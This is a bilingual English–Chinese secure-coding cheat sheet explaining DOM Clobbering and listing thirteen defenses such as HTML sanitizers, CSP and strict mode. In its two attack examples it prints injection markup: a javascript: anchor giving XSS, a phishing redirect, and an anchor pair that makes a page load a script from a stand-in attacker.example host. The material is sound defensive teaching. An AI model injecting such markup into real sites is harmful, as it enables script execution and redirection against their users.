DOM Clobbering Prevention Cheat Sheet / DOM 混淆防护速查表¶
Introduction / 介绍¶
DOM Clobbering) (DOM 混淆) is a type of code-reuse, HTML-only injection attack, where attackers confuse a web application by injecting HTML elements whose id or name attribute matches the name of security-sensitive variables or browser APIs, such as variables used for fetching remote content (e.g., script src), and overshadow their value.
It is particularly relevant when script injection is not possible, e.g., when filtered by HTML sanitizers, or mitigated by disallowing or controlling script execution. In these scenarios, attackers may still inject non-script HTML markups into webpages and transform the initially secure markup into executable code, achieving Cross-Site Scripting (XSS).
当脚本注入不可行时,例如被 HTML 清洗器过滤或通过禁止或控制脚本执行来缓解时,这一点尤其相关。在这些场景中,攻击者仍然可以将非脚本 HTML 标记注入到网页中,并将最初安全的标记转换为可执行代码,从而实现 跨站脚本 (XSS)。
This cheat sheet is a list of guidelines, secure coding patterns, and practices to prevent or restrict the impact of DOM Clobbering in your web application.
本速查表列出了防止或限制 DOM 混淆对您的 Web 应用程序影响的指南、安全编码模式和最佳实践。
Background / 背景¶
Before we dive into DOM Clobbering, let's refresh our knowledge with some basic Web background.
在我们深入探讨 DOM 混淆之前,让我们通过一些基本的 Web 背景知识来更新我们的知识。
When a webpage is loaded, the browser creates a DOM tree that represents the structure and content of the page, and JavaScript code has read and write access to this tree.
当网页加载时,浏览器会创建一个 DOM 树,它表示页面结构和内容,JavaScript 代码可以读取和写入此树。
When creating the DOM tree, browsers also create an attribute for (some) named HTML elements on window and document objects. Named HTML elements are those having an id or name attribute. For example, the markup:
在创建 DOM 树时,浏览器还会在 window 和 document 对象上为(某些)具有 id 或 name 属性的命名 HTML 元素创建一个属性。命名 HTML 元素是具有 id 或 name 属性的元素。例如,以下标记:
<form id=x name=x></form>
creates named references to the form on window and document. The name attribute is needed for named access on document; a form's id alone does not provide that reference:
在 window 和 document 上创建命名引用。name 属性对于 在 document 上的命名访问 是必需的;仅凭表单的 id 无法提供该引用:
var obj1 = document.getElementById('x');
var obj2 = document.x;
var obj3 = document.x;
var obj4 = window.x;
var obj5 = x; // by default, objects belong to the global Window, so x is same as window.x
console.log(
obj1 === obj2 && obj2 === obj3 &&
obj3 === obj4 && obj4 === obj5
); // true
When accessing an attribute of window and document objects, named HTML element references come before lookups of built-in APIs and other attributes on window and document that developers have defined, also known as named property accesses. Developers unaware of such behavior may use the content of window/document attributes for sensitive operations, such as URLs for fetching remote content, and attackers can exploit it by injecting markups with colliding names. Similarly to custom attributes/variables, built-in browser APIs may be overshadowed by DOM Clobbering.
访问 window 和 document 对象的属性时,命名 HTML 元素引用会先于内置 API 和开发者定义的其他 window 和 document 属性的查找,也称为 命名属性访问。不了解这种行为的开发者可能会将 window/document 属性的内容用于敏感操作,例如用于获取远程内容的 URL,攻击者可以通过注入具有冲突名称的标记来利用它。类似于自定义属性/变量,内置浏览器 API 可能会被 DOM Clobbering 覆盖。
If attackers are able to inject (non-script) HTML markup in the DOM tree,
it can change the value of a variable that the web application relies on due to named property accesses, causing it to malfunction, expose sensitive data, or execute attacker-controlled scripts. DOM Clobbering works by taking advantage of this (legacy) behavior, causing a namespace collision between the execution environment (i.e., window and document objects), and JavaScript code.
如果攻击者能够在 DOM 树中注入(非脚本)HTML 标记,则可以利用命名属性访问改变网络应用依赖的变量的值,导致其故障、泄露敏感数据或执行攻击者控制的脚本。DOM Clobbering 通过利用这种(遗留)行为,在执行环境(即 window 和 document 对象)和 JavaScript 代码之间造成命名空间冲突。
Example Attack 1 / 攻击示例 1¶
let redirectTo = window.redirectTo || '/profile/';
location.assign(redirectTo);
The attacker can:
攻击者可以:
- inject the markup
<a id=redirectTo href='javascript:alert(1)'></a>and obtain XSS.
中文:注入标记<a id=redirectTo href='javascript:alert(1)'></a>并获取XSS。 - inject the markup
<a id=redirectTo href='https://phishing.example/'></a>and obtain open redirect.
中文:注入<a id=redirectTo href='https://phishing.example/'></a>标记并获取开放重定向。
Example Attack 2 / 攻击示例 2¶
var script = document.createElement('script');
let src = window.config.url || 'script.js';
script.src = src;
document.body.appendChild(script);
The attacker can inject the markup <a id=config></a><a id=config name=url href='https://attacker.example/payload.js'></a> to load additional JavaScript code, and obtain arbitrary client-side code execution.
攻击者可以注入标记 <a id=config></a><a id=config name=url href='https://attacker.example/payload.js'></a> 来加载额外的 JavaScript 代码,并获取任意客户端代码执行权限。
Summary of Guidelines / 指南总结¶
For quick reference, below is the summary of guidelines discussed next.
快速参考,以下是接下来讨论的指南摘要。
| Guidelines / 指南 | Description / 描述 | |
|---|---|---|
| # 1 | Use HTML Sanitizers 使用 HTML 清理器 |
link 链接 |
| # 2 | Use Content-Security Policy 使用内容安全策略 |
link 链接 |
| # 3 | Freeze Application Configuration Objects 冻结应用程序配置对象 |
link 链接 |
| # 4 | Validate All Inputs to DOM Tree 验证 DOM 树中所有输入 |
link 链接 |
| # 5 | Use Explicit Variable Declarations 使用显式变量声明 |
link 链接 |
| # 6 | Do Not Use Document and Window for Global Variables 不要使用 Document 和 Window 作为全局变量 |
link 链接 |
| # 7 | Do Not Trust Document Built-in APIs Before Validation 在验证之前不要信任 Document 内置 API |
link 链接 |
| # 8 | Enforce Type Checking 强制类型检查 |
link 链接 |
| # 9 | Use Strict Mode 使用严格模式 |
link 链接 |
| # 10 | Apply Browser Feature Detection 应用浏览器特性检测 |
link 链接 |
| # 11 | Limit Variables to Local Scope 限制变量到局部作用域 |
link 链接 |
| # 12 | Use Unique Variable Names In Production 在生产环境中使用唯一的变量名 |
link 链接 |
| # 13 | Use Object-oriented Programming Techniques like Encapsulation 使用面向对象编程技术,如封装 |
link 链接 |
Mitigation Techniques / 缓解技术¶
#1: HTML Sanitization / #1: HTML 清理¶
Robust HTML sanitizers can prevent or restrict the risk of DOM Clobbering. They can do so in multiple ways. For example:
强大的 HTML 清理器可以防止或限制 DOM 混淆的风险。它们可以通过多种方式实现。例如:
- completely remove named properties like
idandname. While effective, this may hinder the usability when named properties are needed for legitimate functionalities.
中文:完全移除命名属性,如id和name。虽然有效,但这可能会在需要命名属性进行合法功能时阻碍可用性。 - namespace isolation, which can be, for example, prefixing the value of named properties by a constant string to limit the risk of naming collisions.
中文:命名空间隔离,例如,通过一个常量字符串前缀命名属性的值,以限制命名冲突的风险。 - dynamically checking if named properties of the input mark has collisions with the existing DOM tree, and if that is the case, then remove named properties of the input markup.
中文:动态检查输入标记的命名属性是否与现有的 DOM 树冲突,如果是,则移除输入标记的命名属性。
OWASP recommends DOMPurify or the Sanitizer API for HTML sanitization.
OWASP 推荐使用 DOMPurify 或 Sanitizer API 进行 HTML 清理。
DOMPurify Sanitizer / DOMPurify 清理器¶
By default, DOMPurify removes all clobbering collisions with built-in APIs and properties (using the enabled-by-default SANITIZE_DOM configuration option).
默认情况下,DOMPurify 会移除所有与 内置 API 和属性的冲突(使用默认启用的 SANITIZE_DOM 配置选项)。
To be protected against clobbering of custom variables and properties as well, you need to enable the SANITIZE_NAMED_PROPS config:
为了防止自定义变量和属性的冲突,您需要启用 SANITIZE_NAMED_PROPS 配置:
var clean = DOMPurify.sanitize(dirty, {SANITIZE_NAMED_PROPS: true});
This would isolate the namespace of named properties and JavaScript variables by prefixing them with user-content- string.
这将通过在命名属性和 JavaScript 变量前添加 user-content- 字符串来隔离命名空间。
Sanitizer API¶
Use the browser's Sanitizer API only where the required methods are supported. Start with its default configuration and explicitly disallow id and name using removeAttribute(), which removes the attribute from all elements:
仅在支持所需方法的地方使用浏览器的 Sanitizer API。从其默认配置开始,并显式禁用 id 和 name 使用 removeAttribute() 方法,该方法从所有元素中移除属性:
const sanitizerInstance = new Sanitizer();
sanitizerInstance.removeAttribute('id');
sanitizerInstance.removeAttribute('name');
containerDOMElement.setHTML(input, {sanitizer: sanitizerInstance});
This example assumes the application does not need id or name attributes in the untrusted markup. In unsupported browsers, use the DOMPurify configuration above; do not fall back to inserting unsanitized HTML.
此示例假设应用程序不需要在不受信任的标记中使用 id 或 name 属性。在不支持的浏览器中,使用上述 DOMPurify 配置;不要回退到插入未清理的 HTML。
#2: Content-Security Policy / #2: 内容安全策略¶
Content-Security Policy (CSP)) (内容安全策略 (CSP)) is a set of rules that tell the browser which resources are allowed to be loaded on a web page. By restricting the sources of JavaScript files (e.g., with the script-src directive), CSP can prevent malicious code from being injected into the page.
Note: CSP can only mitigate some variants of DOM clobbering attacks, such as when attackers attempt to load new scripts by clobbering script sources, but not when already-present code can be abused for code execution, e.g., clobbering the parameters of code evaluation constructs like eval().
注意: CSP 只能缓解 一些变体 的 DOM 混淆攻击,例如攻击者尝试通过覆盖脚本源来加载新脚本,但无法利用已存在的代码进行代码执行,例如覆盖代码评估构造函数(如 eval())的参数。
#3: Freezing Application Configuration Objects / #3: 冻结应用程序配置对象¶
Use Object.freeze() only as an additional control for application-owned configuration objects initialized with trusted values and retained in local scope. It prevents replacement of their own data properties, but is shallow: nested objects and values returned by getters can still change.
仅将 Object.freeze() 作为应用程序拥有的配置对象的附加控制,这些对象使用可信值初始化并保留在局部作用域中。它防止替换它们自己的数据属性,但它是浅层的:嵌套对象和由 getter 返回的值仍然可以改变。
Do not rely on freezing window, document, or DOM elements to prevent named-property clobbering. For example, window rejects attempts to prevent extensions, so Object.freeze(window) throws. Use HTML sanitization and local variables to avoid attacker-controlled named-property lookups.
不要依赖于冻结 window、document 或 DOM 元素来防止命名属性覆盖。例如,window 拒绝防止扩展的尝试,因此 Object.freeze(window) 会抛出异常。使用 HTML 清理 和 局部变量 来避免攻击者控制的命名属性查找。
Secure Coding Guidelines / 安全编码指南¶
DOM Clobbering can be avoided by defensive programming and adhering to a few coding patterns and guidelines.
通过防御性编程和遵循一些编码模式和指南可以避免 DOM 混淆攻击。
#4: Validate All Inputs to DOM Tree / #4: 验证 DOM 树所有输入¶
Before inserting any markup into the webpage's DOM tree, sanitize id and name attributes (see HTML sanitization).
在将任何标记插入网页的 DOM 树之前,对 id 和 name 属性进行清理(参见 HTML 清理)。
#5: Use Explicit Variable Declarations / #5: 使用显式变量声明¶
When initializing variables, always use a variable declarator like var, let or const, which prevents clobbering of the variable.
初始化变量时,始终使用变量声明符如 var、let 或 const,这可以防止变量覆盖。
Note: Declaring a variable with let does not create a property on window, unlike var. Therefore, window.VARNAME can still be clobbered (assuming VARNAME is the name of the variable).
注意: 使用 let 声明变量不会在 window 上创建属性,与 var 不同。因此,window.VARNAME 仍然可能被覆盖(假设 VARNAME 是变量的名称)。
#6: Do Not Use Document and Window for Global Variables / #6: 不要使用 Document 和 Window 作为全局变量¶
Avoid using objects like document and window for storing global variables, because they can be easily manipulated. (see, e.g., here).
避免使用 document 和 window 等对象来存储全局变量,因为它们容易被操纵。(例如,参见 这里)。
#7: Do Not Trust Document Built-in APIs Before Validation / #7: 验证前不要信任 Document 内置 API¶
Document properties, including built-in ones, are always overshadowed by DOM Clobbering, even right after they are assigned a value.
文档属性,包括内置属性,总是被 DOM 混淆所覆盖,即使在它们被赋予值之后也是如此。
Hint: This is due to the so-called named property visibility algorithm, where named HTML element references come before lookups of built-in APIs and other attributes on document.
提示:这是由于所谓的命名属性可见性算法,其中命名 HTML 元素引用先于对 document 上的内置 API 和其他属性的查找。
#8: Enforce Type Checking / #8: 强制类型检查¶
Always check the type of document and window properties before using them in sensitive operations, e.g., using the instanceof operator.
在使用 document 和 window 属性进行敏感操作之前,始终检查它们的类型,例如,使用instanceof运算符。
Hint: When an object is clobbered, it would refer to an Element instance, which may not be the expected type.
提示:当一个对象被混淆时,它将引用一个Element实例,这可能与预期的类型不符。
#9: Use Strict Mode / #9: 使用严格模式¶
Use strict mode to prevent unintended global variable creation, and to raise an error when read-only properties are attempted to be over-written.
使用 strict 模式以防止意外创建全局变量,并在尝试覆盖只读属性时引发错误。
#10: Apply Browser Feature Detection / #10: 应用浏览器功能检测¶
Instead of relying on browser-specific features or properties, use feature detection to determine whether a feature is supported before using it. This can help prevent errors and DOM Clobbering that might arise when using those features in unsupported browsers.
而不是依赖浏览器特定的功能或属性,使用功能检测来确定在使用之前该功能是否受支持。这可以帮助防止在不受支持的浏览器中使用这些功能时可能出现的错误和DOM覆盖问题。
Hint: Unsupported feature APIs can act as an undefined variable/property in unsupported browsers, making them clobberable.
提示:不受支持的功能API在不受支持的浏览器中可能表现为未定义的变量/属性,使其可被覆盖。
#11: Limit Variables to Local Scope / #11: 将变量限制在局部作用域内¶
Global variables are more prone to being overwritten by DOM Clobbering. Whenever possible, use local variables and object properties.
全局变量更容易被DOM覆盖。尽可能使用局部变量和对象属性。
#12: Use Unique Variable Names In Production / #12: 在生产环境中使用唯一的变量名¶
Using unique variable names may help prevent naming collisions that could lead to accidental overwrites.
使用唯一的变量名可能有助于防止命名冲突,这可能导致意外的覆盖。
#13: Use Object-oriented Programming Techniques like Encapsulation / #13: 使用面向对象编程技术,如封装¶
Encapsulating variables and functions within objects or classes can help prevent them from being overwritten. By making them private, they cannot be accessed from outside the object, making them less prone to DOM Clobbering.
将变量和函数封装在对象或类中可以帮助防止它们被覆盖。通过使它们成为私有的,它们不能从对象外部访问,这使得它们不太可能受到DOM覆盖的影响。
References / 参考¶
- WHATWG HTML: Named Access on the Window Object) (WHATWG HTML:窗口对象上的命名访问)
- DOMPurify Documentation) (DOMPurify文档)
- WHATWG Web IDL: Legacy Platform Object Abstract Operations) (WHATWG 网页 IDL:遗留平台对象抽象操作)